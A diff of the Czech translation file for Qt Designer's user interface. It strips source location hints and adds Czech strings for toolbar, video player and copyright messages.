@@ -3524,17 +2915,14 @@ Může to být například jazykové rozšíření &quot;_cs&quot;.</translation
<context>
<name>QtSizeFPropertyManager</name>
<message>
- <location filename="../tools/shared/qtpropertybrowser/qtpropertymanager.cpp" line="-535"/>
<source>%1 x %2</source>
<translation>%1 x %2</translation>
</message>
<message>
- <location line="+130"/>
<source>Width</source>
<translation>Šířka</translation>
</message>
<message>
- <location line="+9"/>
<source>Height</source>
<translation>Výška</translation>
</message>
@@ -3542,33 +2930,26 @@ Může to být například jazykové rozšíření &quot;_cs&quot;.</translation
<context>
<name>QtSizePolicyPropertyManager</name>
<message>
- <location line="+1709"/>
- <location line="+1"/>
<source>&lt;Invalid&gt;</source>
<translation>&lt;Neplatný&gt;</translation>
</message>
<message>
- <location line="+1"/>
<source>[%1, %2, %3, %4]</source>
<translation>[%1, %2, %3, %4]</translation>
</message>
<message>
- <location line="+45"/>
<source>Horizontal Policy</source>
<translation>Vodorovné nastavení</translation>
</message>
<message>
- <location line="+9"/>
<source>Vertical Policy</source>
<translation>Svislé nastavení</translation>
</message>
<message>
- <location line="+9"/>
<source>Horizontal Stretch</source>
<translation>Vodorovné protažení</translation>
</message>
<message>
- <location line="+8"/>
<source>Vertical Stretch</source>
<translation>Svislé protažení</translation>
</message>
@@ -3576,17 +2957,14 @@ Může to být například jazykové rozšíření &quot;_cs&quot;.</translation
<context>
<name>QtSizePropertyManager</name>
<message>
- <location line="-2286"/>
<source>%1 x %2</source>
<translation>%1 x %2</translation>
</message>
<message>
- <location line="+96"/>
<source>Width</source>
<translation>Šířka</translation>
</message>
<message>
- <location line="+8"/>
<source>Height</source>
<translation>Výška</translation>
</message>
@@ -3594,107 +2972,86 @@ Může to být například jazykové rozšíření &quot;_cs&quot;.</translation
<context>
<name>QtToolBarDialog</name>
<message>
- <location filename="../tools/shared/qttoolbardialog/qttoolbardialog.cpp" line="+1784"/>
<source>&lt; S E P A R A T O R &gt;</source>
<translation>&lt; O D D Ě L O V A Č &gt;</translation>
</message>
<message>
- <location filename="../tools/shared/qttoolbardialog/qttoolbardialog.ui"/>
<source>Customize Toolbars</source>
<translation>Přizpůsobit nástrojové pruhy</translation>
</message>
<message>
- <location/>
<source>1</source>
<translation>1</translation>
</message>
<message>
- <location/>
<source>Actions</source>
<translation>Činnosti</translation>
</message>
<message>
- <location/>
<source>Toolbars</source>
<translation>Nástrojové pruhy</translation>
</message>
<message>
- <location/>
<source>New</source>
<translation>Nový</translation>
</message>
<message>
- <location/>
<source>Remove</source>
<translation>Odstranit</translation>
</message>
<message>
- <location/>
<source>Rename</source>
<translation>Přejmenovat</translation>
</message>
<message>
- <location/>
<source>Up</source>
<translation>Nahoru</translation>
</message>
<message>
- <location/>
<source>&lt;-</source>
<translation>&lt;-</translation>
</message>
<message>
- <location/>
<source>-&gt;</source>
<translation>-&gt;</translation>
</message>
<message>
- <location/>
<source>Down</source>
<translation>Dolů</translation>
</message>
<message>
- <location/>
<source>Current Toolbar Actions</source>
<translation>Činnosti současného nástrojového pruhu</translation>
</message>
<message>
- <location filename="../tools/shared/qttoolbardialog/qttoolbardialog.cpp" line="-544"/>
<source>Custom Toolbar</source>
<translation>Uživatelsky stanovené nástrojové pruhy</translation>
</message>
<message>
- <location filename="../tools/shared/qttoolbardialog/qttoolbardialog.ui"/>
<source>Add new toolbar</source>
<translation>Přidat nový nástrojový pruh</translation>
</message>
<message>
- <location/>
<source>Remove selected toolbar</source>
<translation>Odstranit vybraný nástrojový pruh</translation>
</message>
<message>
- <location/>
<source>Rename toolbar</source>
<translation>Přejmenovat nástrojový pruh</translation>
</message>
<message>
- <location/>
<source>Move action up</source>
<translation>Posunout činnost nahoru</translation>
</message>
<message>
- <location/>
<source>Remove action from toolbar</source>
<translation>Odstranit činnost z nástrojového pruhu</translation>
</message>
<message>
- <location/>
<source>Add action to toolbar</source>
<translation>Přidat činnost do nástrojového pruhu</translation>
</message>
<message>
- <location/>
<source>Move action down</source>
<translation>Posunout činnost dolů</translation>
</message>
@@ -3702,12 +3059,10 @@ Může to být například jazykové rozšíření &quot;_cs&quot;.</translation
<context>
<name>QtTreePropertyBrowser</name>
<message>
- <location filename="../tools/shared/qtpropertybrowser/qttreepropertybrowser.cpp" line="+442"/>
<source>Property</source>
<translation>Vlastnost</translation>
</message>
<message>
- <location line="+1"/>
<source>Value</source>
<translation>Hodnota</translation>
</message>
@@ -3715,64 +3070,52 @@ Může to být například jazykové rozšíření &quot;_cs&quot;.</translation
<context>
<name>SaveFormAsTemplate</name>
<message>
- <location filename="../tools/designer/src/designer/saveformastemplate.cpp" line="+72"/>
<source>Add path...</source>
<translation>Přidat cestu...</translation>
</message>
<message>
- <location line="+23"/>
<source>Template Exists</source>
<translation>Předloha již existuje</translation>
</message>
<message>
- <location line="+1"/>
<source>A template with the name %1 already exists.
Do you want overwrite the template?</source>
<translation>Již existuje předloha s názvem %1.
Chcete tuto předlohu přepsat?</translation>
</message>
<message>
- <location line="+3"/>
<source>Overwrite Template</source>
<translation>Přepsat předlohu</translation>
</message>
<message>
- <location line="+7"/>
<source>Open Error</source>
<translation>Chyba při otevírání</translation>
</message>
<message>
- <location line="+1"/>
<source>There was an error opening template %1 for writing. Reason: %2</source>
<translation>Předlohu %1 se nepodařilo otevřít pro zápis. Důvod: %2</translation>
</message>
<message>
- <location line="+13"/>
<source>Write Error</source>
<translation>Chyba při zápisu</translation>
</message>
<message>
- <location line="+1"/>
<source>There was an error writing the template %1 to disk. Reason: %2</source>
<translation>Předlohu %1 se nepodařilo zapsat do souboru na disku. Důvod: %2</translation>
</message>
<message>
- <location line="+27"/>
<source>Pick a directory to save templates in</source>
<translation>Vyberte adresář pro ukládání předloh</translation>
</message>
<message>
- <location filename="../tools/designer/src/designer/saveformastemplate.ui"/>
<source>Save Form As Template</source>
<translation>Uložit formulář jako předlohu</translation>
</message>
<message>
- <location/>
<source>&amp;Category:</source>
<translation>&amp;Skupina:</translation>
</message>
<message>
- <location/>
<source>&amp;Name:</source>
<translation>&amp;Název:</translation>
</message>
@@ -3780,7 +3123,6 @@ Chcete tuto předlohu přepsat?</translation>
<context>
<name>ScriptErrorDialog</name>
<message>
- <location filename="../tools/designer/src/lib/shared/scripterrordialog.cpp" line="+59"/>
<source>An error occurred while running the scripts for &quot;%1&quot;:
</source>
<translation>Při provádění skriptu &quot;%1&quot; se vyskytly chyby:
@@ -3790,22 +3132,18 @@ Chcete tuto předlohu přepsat?</translation>
<context>
<name>SelectSignalDialog</name>
<message>
- <location filename="../tools/designer/src/lib/shared/selectsignaldialog.ui"/>
<source>Go to slot</source>
<translation>Jít na zdířku</translation>
</message>
<message>
- <location/>
<source>Select signal</source>
<translation>Vybrat signál</translation>
</message>
<message>
- <location/>
<source>signal</source>
<translation>Signál</translation>
</message>
<message>
- <location/>
<source>class</source>
<translation>Třída</translation>
</message>
@@ -3813,7 +3151,6 @@ Chcete tuto předlohu přepsat?</translation>
<context>
<name>SignalSlotConnection</name>
<message>
- <location filename="../tools/designer/src/components/signalsloteditor/signalsloteditor.cpp" line="-358"/>
<source>SENDER(%1), SIGNAL(%2), RECEIVER(%3), SLOT(%4)</source>
<translation>VYSÍLAČ(%1), SIGNÁL(%2), PŘIJÍMAČ(%3), ZDÍŘKA(%4)</translation>
</message>
@@ -3821,32 +3158,26 @@ Chcete tuto předlohu přepsat?</translation>
<context>
<name>SignalSlotDialogClass</name>
<message>
- <location filename="../tools/designer/src/lib/shared/signalslotdialog.ui"/>
<source>Signals and slots</source>
<translation>Signály a zdířky</translation>
</message>
<message>
- <location/>
<source>Slots</source>
<translation>Zdířky</translation>
</message>
<message>
- <location/>
<source>...</source>
<translation>...</translation>
</message>
<message>
- <location/>
<source>Signals</source>
<translation>Signály</translation>
</message>
<message>
- <location/>
<source>Add</source>
<translation>Přidat</translation>
</message>
<message>
- <location/>
<source>Delete</source>
<translation>Smazat</translation>
</message>
@@ -3854,12 +3185,10 @@ Chcete tuto předlohu přepsat?</translation>
<context>
<name>Spacer</name>
<message>
- <location filename="../tools/designer/src/lib/shared/spacer_widget.cpp" line="+275"/>
<source>Horizontal Spacer &apos;%1&apos;, %2 x %3</source>
<translation>Vodorovný vymezovač &apos;%1&apos;, %2 x %3</translation>
</message>
<message>
- <location line="+0"/>
<source>Vertical Spacer &apos;%1&apos;, %2 x %3</source>
<translation>Svislý vymezovač &apos;%1&apos;, %2 x %3</translation>
</message>
@@ -3867,7 +3196,6 @@ Chcete tuto předlohu přepsat?</translation>
<context>
<name>TemplateOptionsPage</name>
<message>
- <location filename="../tools/designer/src/components/formeditor/templateoptionspage.cpp" line="+156"/>
<source>Template Paths</source>
<extracomment>Tab in preferences dialog</extracomment>
<translation>Adresáře pro předlohy</translation>
@@ -3876,32 +3204,42 @@ Chcete tuto předlohu přepsat?</translation>
<context>
<name>ToolBarManager</name>
<message>
- <location filename="../tools/designer/src/designer/mainwindow.cpp" line="+89"/>
<source>Configure Toolbars...</source>
<translation>Nastavit nástrojové pruhy...</translation>
</message>
<message>
- <location line="+15"/>
<source>Window</source>
<translation>Okno</translation>
</message>
<message>
- <location line="+1"/>
<source>Help</source>
<translation>Nápověda</translation>
</message>
<message>
- <location line="+7"/>
<source>Style</source>
<translation>Styl</translation>
</message>
<message>
- <location line="+2"/>
<source>Dock views</source>
<translation>Kotvící okno</translation>
</message>
<message>
- <location line="+6"/>
+ <source>File</source>
+ <translation>Soubor</translation>
+ </message>
+ <message>
+ <source>Edit</source>
+ <translation>Úpravy</translation>
+ </message>
+ <message>
+ <source>Tools</source>
+ <translation>Nástroje</translation>
+ </message>
+ <message>
+ <source>Form</source>
+ <translation>Formulář</translation>
+ </message>
+ <message>
<source>Toolbars</source>
<translation>Nástrojové pruhy</translation>
</message>
@@ -3909,30 +3247,68 @@ Chcete tuto předlohu přepsat?</translation>
<context>
<name>VersionDialog</name>
<message>
- <location filename="../tools/designer/src/designer/versiondialog.cpp" line="+171"/>
<source>&lt;h3&gt;%1&lt;/h3&gt;&lt;br/&gt;&lt;br/&gt;Version %2</source>
<translation>&lt;h3&gt;%1&lt;/h3&gt;&lt;br/&gt;&lt;br/&gt;Verze %2</translation>
</message>
<message>
- <location line="+1"/>
<source>Qt Designer</source>
<translation>Qt Designer</translation>
</message>
<message>
- <location line="+1"/>
<source>&lt;br/&gt;Qt Designer is a graphical user interface designer for Qt applications.&lt;br/&gt;</source>
<translation>&lt;br/&gt;Qt Designer je obrazový návrhář uživatelského rozhraní pro programy Qt.&lt;br/&gt;</translation>
</message>
<message>
- <location line="+2"/>
- <source>%1&lt;br/&gt;Copyright (C) 2009 Nokia Corporation and/or its subsidiary(-ies).</source>
+ <source>%1&lt;br/&gt;Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).</source>
<translation>%1&lt;br/&gt;Autorské právo (C) 2009 Nokia Corporation a/nebo její dceřinná společnost(i).</translation>
</message>
+ <message>
+ <source>%1&lt;br/&gt;Copyright (C) 2009 Nokia Corporation and/or its subsidiary(-ies).</source>
+ <translation type="obsolete">%1&lt;br/&gt;Autorské právo (C) 2009 Nokia Corporation a/nebo její dceřinná společnost(i).</translation>
+ </message>
+</context>
+<context>
+ <name>VideoPlayerTaskMenu</name>
+ <message>
+ <source>Available Mime Types</source>
+ <translation>Dostupné mime typy</translation>
+ </message>
+ <message>
+ <source>Display supported mime types...</source>
+ <translation>Zobrazit podporované mime typy...</translation>
+ </message>
+ <message>
+ <source>Load...</source>
+ <translation>Nahrát...</translation>
+ </message>
+ <message>
+ <source>Play</source>
+ <translation>Přehrát</translation>
+ </message>
+ <message>
+ <source>Pause</source>
+ <translation>Pozastavit</translation>
+ </message>
+ <message>
+ <source>Stop</source>
+ <translation>Zastavit</translation>
+ </message>
+ <message>
+ <source>Choose Video Player Media Source</source>
+ <translation>Vybrat zdroje se soubory pro přehrávač videa</translation>
+ </message>
+ <message>
+ <source>An error has occurred in &apos;%1&apos;: %2</source>
+ <translation>V &apos;%1&apos;: %2 se vyskytla chyba</translation>
+ </message>
+ <message>
+ <source>Video Player Error</source>
+ <translation>Chyba v přehrávači videa</translation>
+ </message>
</context>
<context>
<name>WidgetDataBase</name>
<message>
- <location filename="../tools/designer/src/lib/shared/widgetdatabase.cpp" line="+814"/>
<source>The file contains a custom widget &apos;%1&apos; whose base class (%2) differs from the current entry in the widget database (%3). The widget database is left unchanged.</source>
<translation>Soubor obsahuje uživatelsky stanovený prvek &apos;%1&apos;, jehož základní třída (%2) se neshoduje se současným záznamem v databázi prvků (%3). databáze prvků se nemění.</translation>
</message>
@@ -3940,87 +3316,70 @@ Chcete tuto předlohu přepsat?</translation>
<context>
<name>qdesigner_internal::ActionEditor</name>
<message>
- <location filename="../tools/designer/src/lib/shared/actioneditor.cpp" line="+139"/>
<source>Actions</source>
<translation>Činnosti</translation>
</message>
<message>
- <location line="-16"/>
<source>New...</source>
<translation>Nový...</translation>
</message>
<message>
- <location line="+7"/>
<source>Delete</source>
<translation>Smazat</translation>
</message>
<message>
- <location line="+313"/>
<source>New action</source>
<translation>Nová činnost</translation>
</message>
<message>
- <location line="+98"/>
<source>Edit action</source>
<translation>Upravit činnost</translation>
</message>
<message>
- <location line="-417"/>
<source>Edit...</source>
<translation>Upravit...</translation>
</message>
<message>
- <location line="+1"/>
<source>Go to slot...</source>
<translation>Jít na zdířku...</translation>
</message>
<message>
- <location line="+1"/>
<source>Copy</source>
<translation>Kopírovat</translation>
</message>
<message>
- <location line="+1"/>
<source>Cut</source>
<translation>Vyjmout</translation>
</message>
<message>
- <location line="+1"/>
<source>Paste</source>
<translation>Vložit</translation>
</message>
<message>
- <location line="+1"/>
<source>Select all</source>
<translation>Vybrat vše</translation>
</message>
<message>
- <location line="+62"/>
<source>Icon View</source>
<translation>Pohled s ikonami</translation>
</message>
<message>
- <location line="+6"/>
<source>Detailed View</source>
<translation>Podrobný pohled</translation>
</message>
<message>
- <location line="+413"/>
<source>Remove actions</source>
<translation>Odstranit činnosti</translation>
</message>
<message>
- <location line="+0"/>
<source>Remove action &apos;%1&apos;</source>
<translation>Odstranit činnost &apos;%1&apos;</translation>
</message>
<message>
- <location line="+186"/>
<source>Used In</source>
<translation>Používaný v</translation>
</message>
<message>
- <location line="-608"/>
<source>Configure Action Editor</source>
<translation>Nastavit editor činností</translation>
</message>
@@ -4028,32 +3387,26 @@ Chcete tuto předlohu přepsat?</translation>
<context>
<name>qdesigner_internal::ActionModel</name>
<message>
- <location filename="../tools/designer/src/lib/shared/actionrepository.cpp" line="+95"/>
<source>Name</source>
<translation>Název</translation>
</message>
<message>
- <location line="+1"/>
<source>Used</source>
<translation>Používaný</translation>
</message>
<message>
- <location line="+1"/>
<source>Text</source>
<translation>Text</translation>
</message>
<message>
- <location line="+1"/>
<source>Shortcut</source>
<translation>Klávesová zkratka</translation>
</message>
<message>
- <location line="+1"/>
<source>Checkable</source>
<translation>Zaškrtnutelná</translation>
</message>
<message>
- <location line="+1"/>
<source>ToolTip</source>
<translation>Rada k nástroji</translation>
</message>
@@ -4061,27 +3414,22 @@ Chcete tuto předlohu přepsat?</translation>
<context>
<name>qdesigner_internal::BrushManagerProxy</name>
<message>
- <location filename="../tools/designer/src/components/formeditor/brushmanagerproxy.cpp" line="+219"/>
<source>The element &apos;%1&apos; is missing the required attribute &apos;%2&apos;.</source>
<translation>U prvku &apos;%1&apos; chybí vyžadovaná vlastnost &apos;%2&apos;..</translation>
</message>
<message>
- <location line="+11"/>
<source>Empty brush name encountered.</source>
<translation>Chybějící název u vymezení štětce.</translation>
</message>
<message>
- <location line="+10"/>
<source>An unexpected element &apos;%1&apos; was encountered.</source>
<translation>Byl zjištěn neplatný prvek &apos;%1&apos;.</translation>
</message>
<message>
- <location line="+7"/>
<source>An error occurred when reading the brush definition file &apos;%1&apos; at line line %2, column %3: %4</source>
<translation>Chyba při čtení souboru s vymezením štětce &apos;%1&apos; na řádku %2, sloupec %3: %4</translation>
</message>
<message>
- <location line="+43"/>
<source>An error occurred when reading the resource file &apos;%1&apos; at line %2, column %3: %4</source>
<translation>Chyba při čtení zdrojového souboru &apos;%1&apos; na řádku %2, sloupec %3: %4</translation>
</message>
@@ -4089,17 +3437,14 @@ Chcete tuto předlohu přepsat?</translation>
<context>
<name>qdesigner_internal::BuddyEditor</name>
<message>
- <location filename="../tools/designer/src/components/buddyeditor/buddyeditor.cpp" line="+261"/>
<source>Add buddy</source>
<translation>Přidat kamaráda</translation>
</message>
<message>
- <location line="+52"/>
<source>Remove buddies</source>
<translation>Odstranit kamarády</translation>
</message>
<message numerus="yes">
- <location line="+24"/>
<source>Remove %n buddies</source>
<translation>
<numerusform>Odstranit jednoho kamaráda</numerusform>
@@ -4108,7 +3453,6 @@ Chcete tuto předlohu přepsat?</translation>
</translation>
</message>
<message numerus="yes">
- <location line="+51"/>
<source>Add %n buddies</source>
<translation>
<numerusform>Přidat jednoho kamaráda</numerusform>
@@ -4117,7 +3461,6 @@ Chcete tuto předlohu přepsat?</translation>
</translation>
</message>
<message>
- <location line="+47"/>
<source>Set automatically</source>
<translation>Nastavit automaticky</translation>
</message>
@@ -4125,7 +3468,6 @@ Chcete tuto předlohu přepsat?</translation>
<context>
<name>qdesigner_internal::BuddyEditorPlugin</name>
<message>
- <location filename="../tools/designer/src/components/buddyeditor/buddyeditor_plugin.cpp" line="+73"/>
<source>Edit Buddies</source>
<translation>Upravit kamarády</translation>
</message>
@@ -4133,7 +3475,6 @@ Chcete tuto předlohu přepsat?</translation>
<context>
<name>qdesigner_internal::BuddyEditorTool</name>
<message>
- <location filename="../tools/designer/src/components/buddyeditor/buddyeditor_tool.cpp" line="+56"/>
<source>Edit Buddies</source>
<translation>Upravit kamarády</translation>
</message>
@@ -4141,12 +3482,10 @@ Chcete tuto předlohu přepsat?</translation>
<context>
<name>qdesigner_internal::ButtonGroupMenu</name>
<message>
- <location filename="../tools/designer/src/components/taskmenu/button_taskmenu.cpp" line="+7"/>
<source>Select members</source>
<translation>Vybrat členy</translation>
</message>
<message>
- <location line="+1"/>
<source>Break</source>
<translation>Zrušit</translation>
</message>
@@ -4154,32 +3493,26 @@ Chcete tuto předlohu přepsat?</translation>
<context>
<name>qdesigner_internal::ButtonTaskMenu</name>
<message>
- <location line="+121"/>
<source>Assign to button group</source>
<translation>Přiřadit ke skupině tlačítek</translation>
</message>
<message>
- <location line="+2"/>
<source>Button group</source>
<translation>Skupina tlačítek</translation>
</message>
<message>
- <location line="+1"/>
<source>New button group</source>
<translation>Nová skupina tlačítek</translation>
</message>
<message>
- <location line="+1"/>
<source>Change text...</source>
<translation>Změnit text...</translation>
</message>
<message>
- <location line="+1"/>
<source>None</source>
<translation>Žádný</translation>
</message>
<message>
- <location line="+101"/>
<source>Button group &apos;%1&apos;</source>
<translation>Skupina tlačítek &apos;%1&apos;</translation>
</message>
@@ -4187,57 +3520,46 @@ Chcete tuto předlohu přepsat?</translation>
<context>
<name>qdesigner_internal::CodeDialog</name>
<message>
- <location filename="../tools/designer/src/lib/shared/codedialog.cpp" line="+95"/>
<source>Save...</source>
<translation>Uložit...</translation>
</message>
<message>
- <location line="+4"/>
<source>Copy All</source>
<translation>Kopírovat vše</translation>
</message>
<message>
- <location line="+5"/>
<source>&amp;Find in Text...</source>
<translation>&amp;Najít v textu...</translation>
</message>
<message>
- <location line="+75"/>
<source>A temporary form file could not be created in %1.</source>
<translation>V adresáři %1 se nepodařilo vytvořit dočasný soubor s formulářem.</translation>
</message>
<message>
- <location line="+6"/>
<source>The temporary form file %1 could not be written.</source>
<translation>Dočasný soubor s formulářem %1 se nepodařilo zapsat.</translation>
</message>
<message>
- <location line="+21"/>
<source>%1 - [Code]</source>
<translation>%1 - [Kód]</translation>
</message>
<message>
- <location line="+23"/>
<source>Save Code</source>
<translation>Uložit kód</translation>
</message>
<message>
- <location line="+0"/>
<source>Header Files (*.%1)</source>
<translation>Hlavičkové soubory (*.%1)</translation>
</message>
<message>
- <location line="+6"/>
<source>The file %1 could not be opened: %2</source>
<translation>Soubor %1 se nepodařilo otevřít: %2</translation>
</message>
<message>
- <location line="+5"/>
<source>The file %1 could not be written: %2</source>
<translation>Soubor %1 se nepodařilo zapsat: %2</translation>
</message>
<message>
- <location line="+11"/>
<source>%1 - Error</source>
<translation>%1 - Chyba</translation>
</message>
@@ -4245,7 +3567,6 @@ Chcete tuto předlohu přepsat?</translation>
<context>
<name>qdesigner_internal::ColorAction</name>
<message>
- <location filename="../tools/designer/src/lib/shared/richtexteditor.cpp" line="+246"/>
<source>Text Color</source>
<translation>Barva textu</translation>
</message>
@@ -4253,12 +3574,10 @@ Chcete tuto předlohu přepsat?</translation>
<context>
<name>qdesigner_internal::ComboBoxTaskMenu</name>
<message>
- <location filename="../tools/designer/src/components/taskmenu/combobox_taskmenu.cpp" line="+68"/>
<source>Edit Items...</source>
<translation>Upravit záznamy...</translation>
</message>
<message>
- <location line="+38"/>
<source>Change Combobox Contents</source>
<translation>Změnit obsah skupinové krabice</translation>
</message>
@@ -4266,7 +3585,6 @@ Chcete tuto předlohu přepsat?</translation>
<context>
<name>qdesigner_internal::CommandLinkButtonTaskMenu</name>
<message>
- <location filename="../tools/designer/src/components/taskmenu/button_taskmenu.cpp" line="+156"/>
<source>Change description...</source>
<translation>Změnit popis...</translation>
</message>
@@ -4274,17 +3592,14 @@ Chcete tuto předlohu přepsat?</translation>
<context>
<name>qdesigner_internal::ConnectionEdit</name>
<message>
- <location filename="../tools/designer/src/lib/shared/connectionedit.cpp" line="+1313"/>
<source>Select All</source>
<translation>Vybrat vše</translation>
</message>
<message>
- <location line="+8"/>
<source>Delete</source>
<translation>Smazat</translation>
</message>
<message>
- <location line="-5"/>
<source>Deselect All</source>
<translation>Zrušit výběr všeho</translation>
</message>
@@ -4292,52 +3607,42 @@ Chcete tuto předlohu přepsat?</translation>
<context>
<name>qdesigner_internal::ConnectionModel</name>
<message>
- <location filename="../tools/designer/src/components/signalsloteditor/signalsloteditorwindow.cpp" line="-465"/>
<source>Sender</source>
<translation>Vysílač</translation>
</message>
<message>
- <location line="+1"/>
<source>Signal</source>
<translation>Signál</translation>
</message>
<message>
- <location line="+1"/>
<source>Receiver</source>
<translation>Přijímač</translation>
</message>
<message>
- <location line="+1"/>
<source>Slot</source>
<translation>Zdířka</translation>
</message>
<message>
- <location line="+90"/>
<source>&lt;sender&gt;</source>
<translation>&lt;Vysílač&gt;</translation>
</message>
<message>
- <location line="+1"/>
<source>&lt;signal&gt;</source>
<translation>&lt;Signál&gt;</translation>
</message>
<message>
- <location line="+1"/>
<source>&lt;receiver&gt;</source>
<translation>&lt;Přijímač&gt;</translation>
</message>
<message>
- <location line="+1"/>
<source>&lt;slot&gt;</source>
<translation>&lt;Zdířka&gt;</translation>
</message>
<message>
- <location line="+110"/>
<source>Signal and Slot Editor</source>
<translation>Editor signálů a zdířek</translation>
</message>
<message>
- <location line="-2"/>
<source>The connection already exists!&lt;br&gt;%1</source>
<translation>Toto spojení již existuje!&lt;br&gt;%1&lt;/br&gt;</translation>
</message>
@@ -4345,42 +3650,34 @@ Chcete tuto předlohu přepsat?</translation>
<context>
<name>qdesigner_internal::ContainerWidgetTaskMenu</name>
<message>
- <location filename="../tools/designer/src/components/taskmenu/containerwidget_taskmenu.cpp" line="+107"/>
<source>Insert Page Before Current Page</source>
<translation>Vložit stranu před nynější stranu</translation>
</message>
<message>
- <location line="+4"/>
<source>Insert Page After Current Page</source>
<translation>Vložit stranu po nynější straně</translation>
</message>
<message>
- <location line="+8"/>
<source>Add Subwindow</source>
<translation>Přidat podokno</translation>
</message>
<message>
- <location line="-40"/>
<source>Delete</source>
<translation>Smazat</translation>
</message>
<message>
- <location line="+25"/>
<source>Insert</source>
<translation>Vložit</translation>
</message>
<message>
- <location line="+53"/>
<source>Subwindow</source>
<translation>Podokno</translation>
</message>
<message>
- <location line="+2"/>
<source>Page</source>
<translation>Strana</translation>
</message>
<message>
- <location line="+1"/>
<source>Page %1 of %2</source>
<translation>Strana %1 z %2</translation>
</message>
@@ -4388,19 +3685,16 @@ Chcete tuto předlohu přepsat?</translation>
<context>
<name>qdesigner_internal::DPI_Chooser</name>
<message>
- <location filename="../tools/designer/src/components/formeditor/dpi_chooser.cpp" line="+52"/>
<source> x </source>
<extracomment>DPI X/Y separator</extracomment>
<translation> x </translation>
</message>
<message>
- <location line="-25"/>
<source>System (%1 x %2)</source>
<extracomment>System resolution</extracomment>
<translation>Systémové rozlišení (%1 x %2)</translation>
</message>
<message>
- <location line="+7"/>
<source>User defined</source>
<translation>Stanoveno uživatelem</translation>
</message>
@@ -4408,49 +3702,38 @@ Chcete tuto předlohu přepsat?</translation>
<context>
<name>qdesigner_internal::DesignerPropertyManager</name>
<message>
- <location filename="../tools/designer/src/components/propertyeditor/designerpropertymanager.cpp" line="+647"/>
- <location line="+6"/>
<source>AlignLeft</source>
<translation>Zarovnat k levému okraji</translation>
</message>
<message>
- <location line="-5"/>
<source>AlignHCenter</source>
<translation>Zarovnat vodorovně na střed</translation>
</message>
<message>
- <location line="+1"/>
<source>AlignRight</source>
<translation>Zarovnat k pravému okraji</translation>
</message>
<message>
- <location line="+1"/>
<source>AlignJustify</source>
<translation>Zarovnat do bloku</translation>
</message>
<message>
- <location line="+9"/>
<source>AlignTop</source>
<translation>Zarovnat k hornímu okraji</translation>
</message>
<message>
- <location line="+1"/>
- <location line="+4"/>
<source>AlignVCenter</source>
<translation>Zarovnat svisle na střed</translation>
</message>
<message>
- <location line="-3"/>
<source>AlignBottom</source>
<translation>Zarovnat k dolnímu okraji</translation>
</message>
<message>
- <location line="+565"/>
<source>%1, %2</source>
<translation>%1, %2</translation>
</message>
<message numerus="yes">
- <location line="+6"/>
<source>Customized (%n roles)</source>
<translation>
<numerusform>Přizpůsobeno (role)</numerusform>
@@ -4459,75 +3742,58 @@ Chcete tuto předlohu přepsat?</translation>
</translation>
</message>
<message>
- <location line="+1"/>
<source>Inherited</source>
<translation>Zděděno</translation>
</message>
<message>
- <location line="+566"/>
<source>Horizontal</source>
<translation>Vodorovný</translation>
</message>
<message>
- <location line="+9"/>
<source>Vertical</source>
<translation>Svislý</translation>
</message>
<message>
- <location line="+15"/>
<source>Normal Off</source>
<translation>Obvyklé, vypnuto</translation>
</message>
<message>
- <location line="+1"/>
<source>Normal On</source>
<translation>Obvyklé, zapnuto</translation>
</message>
<message>
- <location line="+1"/>
<source>Disabled Off</source>
<translation>Zakázáno, vypnuto</translation>
</message>
<message>
- <location line="+1"/>
<source>Disabled On</source>
<translation>Zakázáno, zapnuto</translation>
</message>
<message>
- <location line="+1"/>
<source>Active Off</source>
<translation>V činnosti, vypnuto</translation>
</message>
<message>
- <location line="+1"/>
<source>Active On</source>
<translation>V činnosti, zapnuto</translation>
</message>
<message>
- <location line="+1"/>
<source>Selected Off</source>
<translation>Vybráno, vypnuto</translation>
</message>
<message>
- <location line="+1"/>
<source>Selected On</source>
<translation>Vybráno, zapnuto</translation>
</message>
<message>
- <location line="+7"/>
- <location line="+21"/>
<source>translatable</source>
<translation>Překlad</translation>
</message>
<message>
- <location line="-15"/>
- <location line="+21"/>
<source>disambiguation</source>
<translation>Zabránění dvojznačnosti</translation>
</message>
<message>
- <location line="-15"/>
- <location line="+21"/>
<source>comment</source>
<translation>Poznámka</translation>
</message>
@@ -4535,48 +3801,38 @@ Chcete tuto předlohu přepsat?</translation>
<context>
<name>qdesigner_internal::DeviceProfileDialog</name>
<message>
- <location filename="../tools/designer/src/components/formeditor/deviceprofiledialog.cpp" line="+63"/>
<source>Device Profiles (*.%1)</source>
<translation>Profily zařízení (*.%1)</translation>
</message>
<message>
- <location line="+31"/>
<source>Default</source>
<translation>Výchozí</translation>
</message>
<message>
- <location line="+67"/>
<source>Save Profile</source>
<translation>Uložit profil</translation>
</message>
<message>
- <location line="+10"/>
<source>Save Profile - Error</source>
<translation>Chyba při ukládání profilu</translation>
</message>
<message>
- <location line="+0"/>
<source>Unable to open the file &apos;%1&apos; for writing: %2</source>
<translation>Soubor &apos;%1&apos; se nepodařilo otevřít pro zápis: %2</translation>
</message>
<message>
- <location line="+14"/>
<source>Unable to open the file &apos;%1&apos; for reading: %2</source>
<translation>Soubor &apos;%1&apos; se nepodařilo otevřít pro čtení: %2</translation>
</message>
<message>
- <location line="+6"/>
<source>&apos;%1&apos; is not a valid profile: %2</source>
<translation>&apos;%1&apos; není platným profilem: %2</translation>
</message>
<message>
- <location line="-12"/>
<source>Open profile</source>
<translation>Otevřít profil</translation>
</message>
<message>
- <location line="+6"/>
- <location line="+6"/>
<source>Open Profile - Error</source>
<translation>Chyba při otevírání profilu</translation>
</message>
@@ -4584,57 +3840,46 @@ Chcete tuto předlohu přepsat?</translation>
<context>
<name>qdesigner_internal::Dialog</name>
<message>
- <location filename="../tools/designer/src/components/propertyeditor/stringlisteditor.ui"/>
<source>Dialog</source>
<translation>Dialog</translation>
</message>
<message>
- <location/>
<source>StringList</source>
<translation>Seznam řetězců znaků</translation>
</message>
<message>
- <location/>
<source>New String</source>
<translation>Nový řetězec znaků</translation>
</message>
<message>
- <location/>
<source>&amp;New</source>
<translation>&amp;Nový</translation>
</message>
<message>
- <location/>
<source>Delete String</source>
<translation>Smazat řetězec znaků</translation>
</message>
<message>
- <location/>
<source>&amp;Delete</source>
<translation>&amp;Smazat</translation>
</message>
<message>
- <location/>
<source>&amp;Value:</source>
<translation>&amp;Hodnota:</translation>
</message>
<message>
- <location/>
<source>Move String Up</source>
<translation>Posunout řetězec znaků nahoru</translation>
</message>
<message>
- <location/>
<source>Up</source>
<translation>Nahoru</translation>
</message>
<message>
- <location/>
<source>Move String Down</source>
<translation>Posunout řetězec znaků dolů</translation>
</message>
<message>
- <location/>
